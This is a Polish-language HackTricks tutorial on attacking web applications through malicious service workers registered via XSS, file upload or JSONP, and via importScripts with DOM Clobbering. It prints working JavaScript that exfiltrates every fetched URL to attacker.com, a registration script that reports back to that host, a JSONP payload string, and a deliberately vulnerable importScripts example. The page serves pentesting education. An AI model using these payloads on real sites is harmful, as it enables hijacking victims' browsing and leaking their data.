Wykorzystywanie Service Workers

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

Service worker to skrypt uruchamiany przez przeglądarkę w tle, oddzielnie od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, co zwiększa możliwości pracy offline i przetwarzania w tle. Szczegółowe informacje na temat service workerów można znaleźć tutaj. Wykorzystując service workery w ramach podatnej domeny internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.

Sprawdzanie istniejących Service Workerów

Istniejące service workery można sprawdzić w sekcji Service Workers w zakładce Application w Narzędziach deweloperskich. Inną metodą jest odwiedzenie chrome://serviceworker-internals w celu uzyskania bardziej szczegółowego widoku.

Powiadomienia Push

Uprawnienia do powiadomień push bezpośrednio wpływają na zdolność service workera do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odrzucane, ogranicza to potencjał service workera do stwarzania ciągłego zagrożenia. Z drugiej strony, przyznanie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych exploitów.

Atak tworzenia Service Workera

Aby wykorzystać tę podatność, musisz znaleźć:

  • Sposób na przesyłanie dowolnych plików JS na serwer oraz XSS do załadowania service workera przesłanego pliku JS
  • Podatne żądanie JSONP, w którym możesz manipulować wynikiem (z dowolnym kodem JS) oraz XSS do załadowania JSONP z ładunkiem, który załaduje złośliwego service workera.

W następującym przykładzie zaprezentuję kod do rejestrowania nowego service workera, który będzie nasłuchiwał na zdarzenie fetch i wyśle do serwera atakującego każdą pobraną URL (to jest kod, który musisz przesłać na serwer lub załadować za pomocą podatnej odpowiedzi JSONP):

javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

A oto kod, który zarejestruje pracownika (kod, który powinieneś być w stanie wykonać, wykorzystując XSS). W tym przypadku zostanie wysłane żądanie GET do serwera atakującego, informujące, czy rejestracja pracownika serwisowego była udana, czy nie:

javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

W przypadku nadużywania podatnego punktu końcowego JSONP powinieneś umieścić wartość wewnątrz var sw. Na przykład:

javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

Istnieje C2 dedykowane eksploatacji Service Workers o nazwie Shadow Workers, które będzie bardzo przydatne do nadużywania tych luk.

Dyrektywa pamięci podręcznej na 24 godziny ogranicza życie złośliwego lub skompromitowanego service workera (SW) do maksymalnie 24 godzin po naprawie luki XSS, zakładając status klienta online. Aby zminimalizować lukę, operatorzy stron mogą obniżyć czas życia (TTL) skryptu SW. Programiści są również zachęcani do stworzenia kill-switcha dla service workera w celu szybkiej dezaktywacji.

Nadużywanie importScripts w SW za pomocą DOM Clobbering

Funkcja importScripts wywołana z Service Workera może importować skrypt z innej domeny. Jeśli ta funkcja jest wywoływana z użyciem parametru, który mógłby zmodyfikować atakujący, mógłby zaimportować skrypt JS z jego domeny i uzyskać XSS.

To nawet omija zabezpieczenia CSP.

Przykład podatnego kodu:

  • index.html
html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
  • sw.js
javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

Z DOM Clobbering

Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawdź:

{{#ref}} dom-clobbering.md {{#endref}}

Jeśli URL/domena, z której SW korzysta, aby wywołać importScripts, znajduje się wewnątrz elementu HTML, możliwe jest modyfikowanie go za pomocą DOM Clobbering, aby SW załadował skrypt z twojej własnej domeny.

Aby zobaczyć przykład, sprawdź link referencyjny.

Referencje

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks